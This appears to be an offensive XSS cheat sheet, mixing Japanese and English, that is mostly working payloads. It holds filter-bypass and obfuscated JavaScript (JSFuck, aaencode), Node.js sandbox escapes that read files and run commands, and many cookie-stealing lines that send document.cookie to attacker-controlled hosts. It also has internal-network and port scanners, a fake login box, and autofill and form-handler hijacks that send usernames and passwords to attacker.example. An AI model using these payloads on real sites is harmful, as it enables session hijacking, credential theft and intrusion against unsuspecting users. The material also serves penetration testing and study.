globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
説明が長くなるため DOM vulnerabilities it was moved to this page:

DOM XSS

そこでは、DOM vulnerabilities が何で、どのように引き起こされ、どのように悪用するかの詳しい説明が見つかります。
また、mentioned post の最後に DOM Clobbering attacks に関する説明があることを忘れないでください。

Self-XSS のエスカレーション

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Sending your session to the admin

ユーザがプロフィールをadminと共有できる場合、プロフィール内にself XSSが存在しadminがアクセスすると、脆弱性がトリガーされます。

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Other Bypasses

サニタイズを回避する: WASM linear-memory template overwrite を利用した方法

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

エクスプロイトのワークフロー、DevTools用メモリヘルパ、対策については専用ページを参照してください:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment のため、HTML に引用符が挿入され、引用符による制約がバイパスされ、タグ内に追加フィールド(onfocus)を挿入できます。
フォームの例 (from this report), payload を送信すると:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

ペア “Key”,“Value” は次のようにエコーされます:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

すると、onfocus 属性が挿入され、XSS が発生します。

特殊な組み合わせ

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302レスポンスでのヘッダー注入による XSS

もしinject headers in a 302 Redirect responseが可能であれば、ブラウザに任意のJavaScriptを実行させることを試みることができます。これは簡単ではありません。現代のブラウザはHTTPレスポンスのステータスコードが302の場合、HTTP response bodyを解釈しないため、単純な cross-site scripting ペイロードは無意味だからです。

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

英字・数字・ドットのみ

もしjavascriptが実行するcallbackを英字・数字・ドットのみで指定できるなら、Read this section of this post を参照してこの挙動をどのように悪用するかを確認してください。

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(出典: here) では、どの種類を指定して script を読み込ませることができますか?

<script type="???"></script>
  • module (デフォルト、説明不要)
  • webbundle: Web Bundles は、HTML、CSS、JS…などのデータをまとめてパッケージ化し、.wbn ファイルにできます。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: インポート構文を改善できます
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

この挙動は this writeup で、ライブラリを eval にリマップして悪用することで XSS を引き起こすために使われました。

  • speculationrules: この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。仕組みは次のとおりです:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types と XSS

(From here) 次のコンテンツタイプはすべてのブラウザでXSSを実行できます:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? リストにはないが、CTFで見た気がする)
  • application/rss+xml (off)
  • application/atom+xml (off)

他のブラウザでは、他の Content-Types を使って任意の JS を実行できる場合があります。確認: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml コンテンツタイプ

ページが text/xml コンテンツタイプを返す場合、名前空間を指定して任意の JS を実行することが可能です:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊な置換パターン

例えば "some {{template}} data".replace("{{template}}", <user_input>) のような処理が行われている場合、攻撃者はspecial string replacementsを利用して一部の対策を回避しようとする可能性があります: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

例えば this writeup では、これはスクリプト内の scape a JSON string に使われ、任意のコード実行が可能になりました。

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

使用できる文字が限られている場合、XSJail の問題に対する以下の他の有効な解決策を確認してください:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

もし信頼されていないコードを実行する前にすべてが undefinedになっている場合(this writeupのように)、任意の信頼されていないコードの実行を悪用するために「何もないところから」有用なオブジェクトを生成することが可能です:

  • Using import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require に間接的にアクセスする

According to this モジュールは Node.js によって関数内でラップされ、次のようになります:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

したがって、そのモジュールから別の関数を呼び出すことができる場合、その関数内から arguments.callee.caller.arguments[1] を使って require にアクセスすることが可能です:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

前の例と同様に、エラーハンドラを使用してモジュールのwrapperにアクセスし、**require**関数を取得することができます:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS common payloads

Several payloads in 1

Steal Info JS

Iframe Trap

ユーザーをiframe内に留めたままページを操作させ、(フォームで送信された情報を含む)その操作を窃取する:

Iframe Traps

Retrieve Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

cookieにHTTPOnly flagが設定されていると、JavaScriptからcookiesにアクセスできません。ただし、運が良ければこの保護を回避するいくつかの方法があります。

ページのコンテンツを盗む

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

内部IPを見つける

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Short times indicate a responding port Longer times indicate no response.

Chromeで禁止されているポートの一覧はhere、Firefoxではhereを参照してください。

認証情報を要求するボックス

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

オートフィルによるパスワードの取得

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

パスワード欄に何らかのデータが入力されると、ユーザー名とパスワードは攻撃者のサーバに送信されます。クライアントが保存済みパスワードを選択して何も入力しなくても、資格情報は ex-filtrated されます。

Hijack form handlers to exfiltrate credentials (const shadowing)

重要なハンドラ(例: function DoLogin(){...})がページの後半で宣言され、あなたのペイロードがそれより先に実行される(例: via an inline JS-in-JS sink)場合、同じ名前の const を先に定義してハンドラを先取り・ロックします。後からの関数宣言は const 名を再バインドできないため、あなたのフックが制御権を保持します:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

注意

  • これは実行順序に依存します: your injection must execute before the legitimate declaration.
  • If your payload is wrapped in eval(...), const/let bindings won’t become globals. Use the dynamic <script> injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
  • When keyword filters block code, combine with Unicode-escaped identifiers or eval(atob('...')) delivery, as shown above.

Keylogger

github で検索しただけでいくつか見つかりました:

CSRF tokens の窃取

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage メッセージの窃取

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

もしページが postMessage からの event.origin を保存し、後でそれをスクリプトURLに連結する と、送信者は読み込まれるJSのoriginを制御できます:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

悪用手順(CAPIGより):

  • Gates: window.opener が存在し pixel_id が allowlisted のときのみ発火する; origin は決してチェックされない
